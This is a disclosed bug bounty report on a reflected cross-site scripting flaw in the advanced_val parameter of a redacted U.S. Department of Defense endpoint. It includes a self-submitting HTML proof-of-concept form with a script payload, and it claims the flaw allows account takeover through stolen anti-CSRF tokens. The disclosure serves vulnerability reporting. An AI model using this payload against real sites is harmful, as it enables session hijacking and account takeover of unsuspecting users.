U.S. Dept Of Defense · Report #689257
[████████] — XSS on `/███████_flight/images` via `advanced_val` parameter
Validstatus
mediumseverity
4upvotes
14 May 2020disclosed
How it was found
Description
POST parameter advanced_val is vulnerable to reflected XSS on endpoint https://███/██████████_flight/images. XSS affects all users and no authentication or login is required.
Proof of Concept
Either visit the following URL for PoC:
https://██████████/poc/
Or, create your own PoC file:
<html>
<head>
<title>XSS POC</title>
</head>
<body onload=document.getElementById("xss").submit()>
<form id='xss' method="post" enctype="application/x-www-form-urlencoded" action="https://█████/█████████_flight/images">
<input type='hidden' name='advanced_val' value='xss"><script>alert(document.domain)</script>'>
</form>
</body>
</html>
██████████
Impact
An attacker can take over an account of an authenticated user by stealing any anti-CSRF tokens and using that token to takeover an account.